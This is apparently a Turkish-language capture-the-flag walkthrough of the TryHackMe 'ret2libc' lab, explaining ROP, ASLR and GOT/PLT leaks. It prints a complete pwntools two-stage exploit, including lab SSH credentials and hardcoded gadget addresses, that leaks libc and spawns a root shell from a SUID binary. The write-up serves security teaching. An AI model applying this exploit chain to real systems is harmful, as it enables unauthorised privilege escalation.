ret2libc
ret2libc
ret2libc
ret2libc
Merhabalar herkese,
Bugün sizlere “https://tryhackme.com/room/ret2libc” bağlantısındaki “ret2libc” başlıklı laboratuvar ortamının çözümünü aktaracağım. 8 adet görev (task) bulunmaktadır.


Task 1 Prerequisites (Görev 1 Önkoşullar)
Bu oda biraz daha ileri seviye. Eğer ikili kod istismarı, tersine mühendislik, C programlamanın temelleri ve Python ile betik yazma konularında yeniyseniz, öncelikle aşağıda bağlantısı verilen odaları tamamlayarak bazı temel bilgiler edinmenizi tavsiye ederim.
Task 2 Introduction (Görev 2 Giriş)
Burada bahsedilen iki kritik kavram var: ROP (Return-Oriented Programming) ve bunun bir alt kümesi olan ret2libc.
1. ROP (Return-Oriented Programming) Nedir?
Modern sistemlerdeki NX (No-Execute) koruması yüzünden belleğe kendi yazdığımız kodları (shellcode) enjekte edip çalıştıramıyoruz. ROP tekniği ise der ki: “Kendi kodunu yazamıyorsan, programın içinde zaten var olan kod parçacıklarını kullan!” Programın içinde yer alan ve sonu ret (return) komutu ile biten bu küçük kod bloklarına Gadget denir. Biz bu hazır blokları bellekte arka arkaya dizerek (zincirleyerek - ROP Chain) programın akışını ele geçiririz.
2. ret2libc (Return to libc) Nedir?
Gittiğimiz bu odadaki özel senaryo ise ROP’un en popüler halidir. Madem programın içindeki küçük kodları kullanıyoruz, neden doğrudan işletim sisteminin kalbindeki kütüphaneyi kullanmayalım? Linux sistemlerde çalışan her C programı, arka planda **libc** (Standart C Kütüphanesi) adındaki devasa bir kütüphaneyi dinamik olarak yükler. Bu kütüphanenin içinde bizim için altın değerinde iki şey bulunur:
**system()fonksiyonu:** İçine yazılan komutları doğrudan terminalde çalıştırır (Tıpkı Python'dakios.system()gibi).**"/bin/sh"string'i (metni):** Linux'ta komut satırını (shell) açmaya yarayan ifadenin ta kendisi bellekte bir yerlerde halihazırda metin olarak durur.
Bizim amacımız; programı çökertip, bellekteki parametre geçişlerini öyle bir ayarlamak ki, system() fonksiyonunu çağırıp içine argüman olarak "/bin/sh" metnini göndermek. Bunu başardığımız an hedef makinede Shell (Komut Satırı) elde etmiş oluyoruz.

Makine açıldıysa, kendi yerel terminalinden (VPN ile bağlıysan) veya TryHackMe’nin AttackBox’ı üzerinden şu komutla SSH bağlantısını gerçekleştirebilirsiniz:
ssh andy@<HEDEF_IP>

Şifre istediğinde ise “ret2libc!” yazıp giriş yapabilirsiniz.
Task 3 Tool Used (Görev 3 Araç Kullanımı)
- Ghidra: NSA tarafından açık kaynaklı olarak geliştirilen tersine mühendislik aracı. Bu odada hedef binary dosyasını (derlenmiş programı) Ghidra’ya atacağız. Amacımız, makine kodunu (Assembly) tekrar C diline (
Decompilerözelliğiyle) çevirip, programın neresinde girdi kontrolü hatası (Buffer Overflow) olduğunu görsel olarak tespit etmek. (https://ghidra-sre.org/) - GDB + GEF (GNU Debugger + GDB Enhanced Features): Linux’un yerleşik hata ayıklayıcısı (debugger) GDB’ye, tersine mühendislik ve exploit geliştirme süreçlerini kolaylaştırmak için GEF eklentisi giydirilmiş hali. Hedef programı adım adım çalıştırarak bellek (Stack) üzerindeki değişimleri, register’ların (yazmaçların) durumunu anlık olarak izlemek ve programın tam olarak kaçıncı karakterden sonra çöktüğünü (offset değerini) bulmak için kullanacağız. (Link (gdb): https://www.sourceware.org/gdb/ ve https://gef.readthedocs.io/en/master/#setup)
- Pwntools: Python ile yazılmış, siber güvenlik dünyasının en popüler exploit geliştirme kütüphanesi. Bellek adreslerini otomatik hesaplamak, kurban makineye ağ üzerinden (Socket) veya yerel olarak payload göndermek ve exploit başarıyla çalıştığında etkileşimli bir shell (komut satırı) köprüsü kurmak için harika fonksiyonlar sunar. (https://docs.pwntools.com/en/stable/install.html)
Task 4 Review of The Binary (Görev 4 İkili Sistemin Gözden Geçirilmesi)
1. SUID Bitinin Varlığı (Ayrıcalık Yükseltme İpucu)
ls -la exploit_me komutunu çalıştırdığımızda dosyanın kırmızı parladığını görüyoruz. Bu, dosyada SUID (Set Owner User ID) bitinin aktif olduğunu gösterir. Bir Red Teamer için bunun anlamı şudur: Bu programı hangi kullanıcı çalıştırırsa çalıştırsın, program arka planda sahibinin (yani büyük ihtimalle root'un) yetkileriyle çalışır. Eğer bu programı hackleyebilirsek, doğrudan root yetkilerine sahip bir shell elde edebiliriz.

2. x86–64 Mimarisi ve Parametre Kuralları (Calling Conventions)
file exploit_me çıktısı bize programın 64-bit (ELF 64-bit) olduğunu söylüyor.
- 32-bit ve 64-bit Farkı: 32-bit sistemlerde bir fonksiyona parametre gönderirken bunlar Stack (Yığın) üzerine yazılırdı.
- 64-bit Kuralları (System V AMD64): 64-bit Linux sistemlerde ise parametreler doğrudan işlemci kayıtçılarına (Register) yazılır.
- Kurala göre fonksiyonların parametre sırası şöyledir:
**RDI,RSI,RDX,RCX,R8,R9**
Kritik Örnek: İlerleyen aşamalarda
system("/bin/sh")çağrısını yapabilmek için,"/bin/sh"metninin bellekteki adresini önce**RDIregister'ının içine koymamız (POP etmemiz)** gerekecek. Çünküsystem()fonksiyonu tek bir argüman alır ve ilk argüman her zamanRDI'dan okunur.
3. Zafiyet Tespiti ve GDB ile Offset Bulma
Programa normalde kısa bir isim girilmesi beklenirken 30 tane “A” (A*30) gönderildiğinde program Segmentation fault (Bellek hatası) vererek çöküyor. Bu durum, girdi miktarını sınırlandırmayan tehlikeli bir C fonksiyonunun (büyük ihtimalle gets()) kullanıldığını kesinleştiriyor.
GDB (gdb exploit_me) içinde GEF eklentisi kullanarak tam çökme anını yakalıyoruz:
pattern createile benzersiz bir karakter dizisi üretiyoruz.r(run) komutuyla programı başlatıp bu deseni yapıştırıyoruz.- Program çöktüğünde, bellek üzerindeki geri dönüş adresini (
Return Address) üzerine yazdığımız**RSP(Stack Pointer)** register'ının değerini alıppattern search $rspkomutuyla aratıyoruz. Bu bize tam olarak kaç karakterden sonra kontrolü ele geçirdiğimizi (Offset) verecektir.
4. Güvenlik Mekanizmaları (checksec)
checksec exploit_me komutu bize exploit mimarimizi çizeceğimiz haritayı verir:
- Stack Canary: No canary found -> Bellek taşmasını engelleyen bir “bekçi” değer yok. Rahatça taşırma yapabiliriz.
- NX: NX enabled -> Stack üzerinde kod çalıştırmak yasak. Bu yüzden bu odadayız ve ret2libc tekniğini kullanmak zorundayız.
- PIE: No PIE -> Programın kendi fonksiyonlarının adresleri (örneğin ana fonksiyonlar veya GOT tablosu) her çalışmada sabit kalacak, değişmeyecek. Bu işimizi çok kolaylaştırıyor.

andy@ubuntu:~$ file exploit_me
exploit_me: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c771960dddc76d1e69e8f741185d232c7ee6098, not stripped

andy@ubuntu:~$ ./exploit_me
Type your name:
andy
Your name is: andy

./exploit_me
Type your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Your name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Görüldüğü üzere, fazla “A” karakterinin girilmesi ile bir segmentasyon hatası alınıldı; bu da ikili dosyamızın arabellek taşması (buffer overflow) saldırısına karşı savunmasız olduğu anlamına geliyor.
andy@ip-10-114-153-6:~$ gdb exploit_me
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
91 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from exploit_me...
(No debugging symbols found in exploit_me)
gef\u27a4 pattern create
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
gef\u27a4 r
Starting program: /home/andy/exploit_me
Type your name:
pattern search $rsp
Your name is: pattern search $rsp
Program received signal SIGSEGV, Segmentation fault.
0x00007f9ca92d0070 in ?? () from /lib/x86_64-linux-gnu/libc.so.6



TASK 5 ASLR & GOT (Görev 5 ASLR & GOT)
1. ASLR (Address Space Layout Randomization/Adres Alanı Yerleşimi Rastgeleleştirmesi) Nedir?
İşletim sisteminin uyguladığı bir güvenlik önlemidir. Program her çalıştığında; Stack, Heap ve en önemlisi bizim kullanacağımız **libc kütüphanesini** bellekte tamamen rastgele adreslere yükler.
cat /proc/sys/kernel/randomize_va_spacekomutunun2dönmesi, bu rastgeleştirmenin tam kapasite aktif olduğunu gösterir.- Bizim Sorunumuz: Task 4'te programda PIE koruması olmadığını (yani programın kendi kodlarının sabit kaldığını) görmüştük. Ancak
libckütüphanesi ASLR yüzünden her saniye köşe kapmaca oynuyor.system()fonksiyonunun adresi programı her başlattığımızda değiştiği için, exploit kodumuza sabit bir adres yazamıyoruz.
2. GOT (Global Offset Table/Küresel Uzaklık (Ofset) Tablosu) ve PLT (Procedure Linkage Table/Yordam Bağlantı Tablosu) Nedir?
Bir program derlenirken boyutu küçük olsun diye puts, printf, gets gibi standart kütüphane fonksiyonlarının gövdesini kendi içine gömmez. Bunun yerine onları dışarıdan (libc'den) ödünç alır.
- Program ilk başladığında bu fonksiyonların
libciçindeki gerçek adreslerini bilmez. - Fonksiyon ilk kez çağrıldığında, arka planda işletim sistemi gider, fonksiyonun o anki rastgele adresini bulur ve bunu programın içindeki
**.got.plt(Global Offset Table)** adı verilen bir rehbere/tabloya kaydeder. - Program aynı fonksiyonu ikinci kez çağıracağında artık
libc'ye gitmez, doğrudan kendi içindeki bu sabit GOT tablosuna bakar.
Bizim Fırsatımız: Programın içindeki bu GOT tablosu, PIE koruması olmadığı için sabit bir adrestedir ve ASLR’dan etkilenmez! Yani biz GOT tablosunun yerini her zaman biliyoruz ve o tablonun içinde
libc'nin o anki gizli adresleri yazıyor.
3. ASLR Nasıl Bypass Edilir? (Bellek Sızıntısı - Information Leak)
Madem rehberin (GOT) yerini biliyoruz ve içinde libc'nin canlı adresleri var, o zaman programı kandırıp bu adresleri bize "itiraf ettirmeliyiz".
Teknik olarak şunu yapacağız:
- Programı manipüle ederek ekran çıktıları veren
puts()veyaprintf()fonksiyonunu çağıracağız. - Bu fonksiyonun içine parametre (argüman) olarak, yine programın içinde halihazırda çağrılmış olan bir fonksiyonun (örneğin
setbufveyagets) GOT adresini vereceğiz. - Program çalışacak ve bize ekrana: “Aradığın fonksiyonun şu anki canlı bellekteki adresi X’tir” diye yazacak. İşte buna Memory Leak (Bellek Sızıntısı) diyen teknik denir.
4. Libc Base (Taban) Adresi Hesaplama
Canlı adresi (Leak Address) kopardıktan sonra gerisi matematik. libc kütüphanesinin içindeki fonksiyonların birbirine olan uzaklığı (Offset) sabittir. Tıpkı bir binadaki katlar gibi; bina her gün başka bir şehre taşınsa da (ASLR), 1. kat ile 5. kat arasındaki mesafe hiç değişmez.
- Libc Taban Adresi = Sızdırılan Fonksiyonun Canlı Adresi - O Fonksiyonun Libc İçindeki Sabit Offseti
Bu taban adresini bulduğumuz an, ASLR’ı tamamen kör etmiş oluruz. Artık system() fonksiyonunun o anki canlı adresini bulmak çocuk oyuncağıdır:
- Canlı system() Adresi = Libc Taban Adresi + system() Offseti
andy@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2

Task 6 Examining in the Ghidra (Görev 6 Ghidra’da İnceleme)
Ghidra, grafik arayüze (GUI) sahip bir araç olduğu için bu işlemi SSH terminali yerine kendi yerel bilgisayarımızda veya TryHackMe AttackBox üzerinde yapmamız gerekiyor. Hedef makinedeki exploit_me dosyasını kendi bilgisayarımıza çekmek için Python'un pratik HTTP sunucu modülünü kullanıyoruz.
python3 -m http.server 4444



⚠️ Önemli Not: Analize başlamadan önce
ldd exploit_mekomutu ile hedef makinenin kullandığılibcsürümünü kontrol etmekte fayda var. Lokal bilgisayarınız ile laboratuvar ortamındaki libc sürümleri farklıysa, exploit aşamasında adres kaymaları yaşanabilir. Bu gibi durumlarda THM AttackBox kullanmak en temiz çözümdür.
Ghidra’yı açıp exploit_me dosyasını içeri aktardıktan sonra otomatik analiz (Auto Analyze) seçeneğini onaylıyoruz. Sol tarafta yer alan “Symbol Tree -> Functions -> main” yolunu takip ederek programın ana fonksiyonuna çift tıklıyoruz.
Ghidra’nın arkasındaki güçlü Decompiler (Derleme Çözücü) motoru, bize makine kodundan üretilmiş tertemiz bir C kodu sunuyor:
Bu kod bloğunu incelediğimizde siber güvenlik uzmanı gözüyle şu kritik çıkarımları yapıyoruz:
- Tampon Bellek Boyutu (
local_12): Program, bellekte karakter dizisi içinchar local_12 [10];satırıyla sadece 10 byte'lık bir alan ayırmış. Hatırlarsanız, bir önceki adımda GDB ile yaptığımız testlerde programın çok daha büyük bir offset değerinde çöktüğünü görmüştük. Bunun sebebi, bizim tampon belleğimiz (buffer) ile işlemcinin geri dönüş adresi (instruction pointer) arasında ezmemiz gereken başka hizalama verilerinin de bulunmasıdır. - Girdinin Güvensiz Alınması (
gets): Programın 9. satırında kullanıcıdan girdi almak içingets(local_12)fonksiyonu kullanılmış.gets(), siber güvenlik dünyasında kullanımı kesinlikle yasaklanmış en sabıkalı fonksiyonlardan biridir. Çünkü kullanıcıdan gelen verinin boyutunu asla denetlemez. Bardağımız 10 byte'lık kapasiteye sahipken biz buraya 30-40 byte veri gönderdiğimizde taşma (Buffer Overflow) kaçınılmaz olur. - Ayrıcalık Yükseltme Sinyali (
setuid(0)): Kodun içinde doğrudansetuid(0);fonksiyon çağrısını görüyoruz. Normal şartlarda SUID bitine sahip bir binary'yi hackleyip/bin/shçalıştırdığımızda, Linux'un modern kabuk korumaları nedeniyle doğrudan root olamayız (Çünkülibciçinde hazırda bekleyen metin sadece/bin/shşeklindedir, yetkiyi koruyan-pparametresi yoktur). Ancak yazılımcı kodun içine bizzatsetuid(0)koyarak kullanıcının etkin kimliğini en yetkili seviyeye (Root) eşitlemiş. Yani bu programı çökerttiğimiz an otomatik olarak root shell elde edeceğiz!
Bilgi Sızıntısı (Leak) İçin Hedeflerin Belirlenmesi
ASLR korumasını devre dışı bırakabilmek için libc kütüphanesinin bellekteki o anki canlı adresini sızdırmamız (Memory Leak) gerektiğini konuşmuştuk. Bunun için programın içindeki sabit ve değişmeyen adres rehberlerini kullanacağız.
1. .got.plt Bölümünün İncelenmesi
Ghidra’da sol üstteki “Program Trees -> exploit_me -> .got.plt” yolunu izliyoruz. Bu tablo, programın dışarıdan çağırdığı fonksiyonların canlı adres köprülerini tutar.
Tabloyu incelediğimizde karşımıza çıkan fonksiyonlar sırasıyla şunlardır:
putsprintfgets__stack_chk_fail
Biz bu laboratuvarda bellek sızıntısı objesi olarak **gets fonksiyonunu seçeceğiz. gets fonksiyonunun hemen altında yer alan ve derleyicinin stack koruması için koyduğu `__stack_chk_fail** fonksiyonunun adresi de hemen gözümüzün önünde duruyor. Buradakigetsadresini, ekrana çıktı basabilenputs` fonksiyonuna argüman olarak göndereceğiz.
2. .plt Bölümünün İncelenmesi
Peki puts fonksiyonunu nasıl çağıracağız? Tabii ki adresleri sabit olan trambolin tabomuzdan. “Program Trees -> exploit_me -> .plt” yoluna giderek puts fonksiyonunun yerini tespit ediyoruz.
Artık elimizde her şey var:
- Programı çökerteceğimiz Offset miktarı (GDB’den aldık).
- Ekrana sızıntıyı yazdıracak olan
**puts@plt** adresi. - İçindeki canlı adresi çalacağımız kurban fonksiyonun
**gets@got** adresi.
Bir sonraki bölümde, bu verileri harmanlayarak ilk Python exploit script’imizi (ROP Chain) yazmaya başlayacağız.





Task 7 Creating the Exploit (Görev 7 İstismarı Oluşturmak)
Ghidra ile zafiyeti tespit ettikten ve gerekli bellek adreslerini not aldıktan sonra, artık teoriyi pratiğe dökme vakti geldi. Exploit betiğimizi yazmak için siber güvenlik dünyasının en popüler Python kütüphanesi olan Pwntools’u kullanacağız.
Bu saldırı iki aşamalı (Two-Stage Exploitation) bir ROP zincirinden oluşacak:
- Aşama: Belleği sızdırıp ASLR korumasını kıracağız ve
libctaban adresini hesaplayacağız. - Aşama: Canlı
libcadreslerini kullanarak sistemesystem("/bin/sh")komutunu işletecek ve Root Shell alacağız.
Gelin kodumuzu parça parça inceleyerek inşa edelim.
Adım 1: Kütüphanelerin Dahil Edilmesi ve Ortamın Tanımlanması
Yazacağımız script’in ilk satırlarında ortam değişkenlerini ve hedef dosyamızı script’e tanıtıyoruz:
#!/usr/bin/env python3
from pwn import *
# Hedef binary'yi globale (context) kaydediyoruz
context.binary = binary = './exploit_me'
# ELF ve ROP nesnelerini türetiyoruz
elf = ELF(binary)
rop = ROP(elf)
# Sistemde kullanılan dinamik libc kütüphanesini tanımlıyoruz
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Süreci başlatıyoruz
p = process()
💡 Teknik Not:
context.binarytanımı sayesinde Pwntools mimariyi (64-bit), işletim sistemini ve endianness otomatik olarak algılar. Böylece her fonksiyon için manuel ayar yapmaktan kurtuluruz. Hedef sistemin hangilibcdosyasını kullandığını ise terminaldeldd exploit_mekomutunu çalıştırarak bulduk.
Adım 2: Birinci ROP Zinciri - ASLR Korumasını Kırmak (Information Leak)
GDB analizimizde tam 18 byte sonra bellek kontrolünü (RSP/RIP kayıtçılarını) ele geçirdiğimizi saptamıştık. İlk payload yapımız şu şekilde olacak:
padding = b'A' * 18
payload = padding
# 1. RDI register'ını manipüle edecek 'pop rdi; ret' gadget'ını buluyoruz
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
# 2. RDI içerisine kurban fonksiyonumuz olan gets'in GOT adresini koyuyoruz
payload += p64(elf.got.gets)
# 3. Ekrana yazdırma işlemi için puts fonksiyonunu tetikliyoruz
payload += p64(elf.plt.puts)
# 4. Program çökmesin diye akışı yeniden ana fonksiyona (main) yönlendiriyoruz
payload += p64(elf.symbols.main)
Bu ROP Zincirinin Mantığı: 64-bit Linux sistemlerde (System V AMD64) bir fonksiyona parametre göndermek için veriyi önce **RDI** kayıtçısına (register) yazmalıyız. rop.find_gadget komutu ile bellekteki pop rdi; ret komutunu bulup çağırıyoruz. Bu komut, stack'teki bir sonraki veriyi (yani gets@got adresini) RDI içerisine yerleştirir. Hemen ardından gelen puts@plt çağrısı, RDI içindeki bu adresi okur ve gets fonksiyonunun canlı bellek adresini terminal ekranımıza sızdırır (Leak). Son olarak program çökmesin ve ikinci payload'u gönderebilelim diye akışı main fonksiyonuna geri döndürüyoruz.
Adım 3: Sızıntıyı Yakalamak ve Libc Taban Adresini Hesaplamak
Payload’u gönderdikten sonra ekrana düşen ham byte verisini temizleyip anlamlı bir bellek adresine dönüştürmemiz gerekiyor:
p.recvline() # Gereksiz satırları temizle
p.sendline(payload) # İlk payload'u gönder
p.recvline()
# Ekrana basılan canlı bellek adresini yakala ve temizle
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Gets Canli Adresi => {hex(leak)}')
# Matematiksel olarak Libc taban adresini hesapla (Rebase)
libc.address = leak - libc.symbols.gets
log.info(f'Libc Taban Adresi => {hex(libc.address)}')
⚠️ Hizalama İpucu: Ekrana düşen adres verisi 64-bit (8 byte) uzunluğunda olmayabilir.
u64()fonksiyonunun bunu sorunsuz çözebilmesi (unpack etmesi) içinljust(8, b'\0')kullanarak eksik byte'ları null byte (\0) ile dolduruyoruz.libc.addressdeğerini bulduğumuzda, eğer adresin son üç hanesi 000 ile bitiyorsa hesaplamamız %100 doğrudur ve ASLR artık bizim için bir engel değildir!.
Adım 4: İkinci ROP Zinciri — Root Shell Almak (Zafiyeti Sömürme)
Artık libc'nin canlı taban adresini bildiğimiz için, kütüphane içindeki system() fonksiyonunun ve "/bin/sh" metninin o anki gerçek yerini nokta atışı biliyoruz. İkinci payload'u hazırlayalım:
payload = padding # Yeniden 18 byte'lık taşma oluşturuyoruz
# RDI'yi tekrar yakala
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
# RDI içerisine bu kez '/bin/sh' metninin canlı adresini koy
payload += p64(next(libc.search(b'/bin/sh')))
# Stack Hizalaması (Stack Alignment) için boş bir 'ret' gadget'ı ekle
payload += p64(rop.find_gadget(['ret'])[0])
# Ve bombayı patlat: system() fonksiyonunu çağır!
payload += p64(libc.symbols.system)
⚙️ Neden Boş Bir
retVar? Modern 64-bit Ubuntu/Debian sistemlerde,system()fonksiyonu çağrılmadan önce bellek adresinin 16-byte'a hizalanmış olmasını (Stack Alignment) şart koşar. Eğer exploitiniz sorunsuz çalışıyor ama shell vermeden çöküyorsa, araya koyacağınız basit birretgadget'ı bu senkronizasyon problemini çözecektir.
Adım 5: Tetikleme ve İnteraktif Bağlantı
Her şey hazır. İkinci payload’u gönderiyoruz ve terminali tamamen kendi kontrolümüze alıyoruz:
p.sendline(payload)
p.recvline()
# Terminali interaktif moda alarak kontrolü siber saldırgana bırakıyoruz
p.interactive()
Aşağıda yer alan “remote_exploit.py” adlı Python scriptimizi çalıştırdığımızda, Ghidra’da gördüğümüz o meşhur setuid(0) fonksiyonu sayesinde işletim sistemi bizi doğrudan en yetkili kullanıcı ilan edecek. Artık tek yapmamız gereken “whoami” yazıp “root" olduğumuzu görmek ve bayrak (flag) dosyasını okumak.
#!/usr/bin/env python3
from pwn import *
# ==========================================
# 1. ORTAM VE AYAR TANIMLAMALARI
# ==========================================
HEDEF_IP = "10.114.153.6"
context.binary = binary = './exploit_me'
# Sadece libc'yi otomatik analiz icin birakiyoruz
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ==========================================
# 2. UZAKTAN SSH BAGLANTISININ KURULMASI
# ==========================================
log.info(f"Hedef makineye SSH baglantisi kuruluyor: {HEDEF_IP}")
ssh_baglantisi = ssh(user="andy", host=HEDEF_IP, password="ret2libc!")
# Uzaktaki prosesi tetikliyoruz
p = ssh_baglantisi.process('./exploit_me')
padding = b'A' * 18
# ==========================================
# 3. MANUEL SABIT ADRESLER (HATA ONLEYICI)
# ==========================================
# Pwntools hatalarini bypass etmek icin adresleri dogrudan enjekte ediyoruz:
puts_plt = 0x4004a0 # Senin objdump ciktindan aldigimiz kesin adres
gets_got = 0x601010 # Genelde standart degeri 0x601010'dur
main_address = 0x4005b6 # Genelde standart degeri 0x4005b6'dir
# POP RDI ; RET gadget'ini manuel tanimliyoruz (64-bit Linux standardi)
pop_rdi = 0x4006a3
# ==========================================
# 4. ASAMA: BELLEK SIZINTISI (INFORMATION LEAK)
# ==========================================
log.info("1. Asama Baslatiliyor: Manuel ROP zinciri gonderiliyor...")
payload1 = padding
payload1 += p64(pop_rdi)
payload1 += p64(gets_got)
payload1 += p64(puts_plt)
payload1 += p64(main_address)
# Takilmayi onlemek icin gelen ilk satirlari temizliyoruz
try:
p.recvline() # Programin ilk ciktisini oku ve gec
except:
pass
p.sendline(payload1)
# Sizingiyi yakala
try:
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f"Sizdirilan Canli 'gets' Adresi: {hex(leak)}")
# Libc taban adresini hesapla
libc.address = leak - libc.symbols.gets
log.info(f"Hesaplanan Libc Taban Adresi: {hex(libc.address)}")
except Exception as e:
log.error(f"Sizingi yakalanamadi veya program erken kapandi. Hata: {e}")
exit()
# ==========================================
# 5. ASAMA: RE-EXPLOITATION VE ROOT SHELL
# ==========================================
log.info("2. Asama Baslatiliyor: system('/bin/sh') tetikleniyor...")
ret_gadget = 0x400426 # Stack Alignment icin bos RET
payload2 = padding
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(ret_gadget)
payload2 += p64(libc.symbols.system)
# Program main'e dondugu icin tekrar girdi gonderiyoruz
try:
p.recvline()
except:
pass
p.sendline(payload2)
# ==========================================
# 6. INTERAKTIF ZAFER ANI
# ==========================================
log.success("Kabuk (Shell) Alindi! 'whoami' yazarak root durumunu kontrol edin.")
p.interactive()
“whoami” komutu, o anki oturumda aktif olan kullanıcının ismini ekrana yazdırır.
“id” çıktısında 0 yazması, kullanıcının sistemdeki en yetkili hesap olan root (süper kullanıcı) haklarına sahip olduğunu gösterir. Linux’ta root, sistem üzerinde tam yetkiye ve sınırsız erişim haklarına sahip olan en yetkili yönetici (superuser) hesabıdır.
Task 8 Conclusion (Görev 8 Sonuç)
Buraya kadar geldiyseniz, ret2libc saldırısının nasıl çalıştığına dair temel bir fikriniz olmalıdır. Saldırıyı biraz daha zorlaştırılmıştır ve ASLR’yi kapatılmamıştır. Çoğu Linux dağıtımında varsayılan olarak açık, ayrıca herhangi bir korumayı atlamanın mümkün olduğu bilinmelidir. Yine de ASLR’nin kapalı olduğu bazı CTF’lerle karşılaşabilirsiniz; bu durumda, libc’nin temel adresini sızdırmak zorunda kalmayız ve sadece ldd ile bakabiliriz. Böylece ilk ROP zincirini atlıyoruz.
Ret2libc’yi uygulamak istiyorsanız, Chronicle adlı TryHackMe odasını öneririm.
Değerli vaktinizi ayırıp yazımı okuduğunuz için teşekkürlerimi takdim ederim ve iyi günler geçirmeniz dileklerimle.
메타데이터
- post_id
- 09a3eaa7eb6c
- slug
- ret2libc-09a3eaa7eb6c
- url
- https://medium.com/@ikpehlivan/ret2libc-09a3eaa7eb6c
- canonical_url
- https://medium.com/@ikpehlivan/ret2libc-09a3eaa7eb6c
- author_url
- https://medium.com/@ikpehlivan
- status
- ok
- fetched_at
- 2026-06-20 20:29:01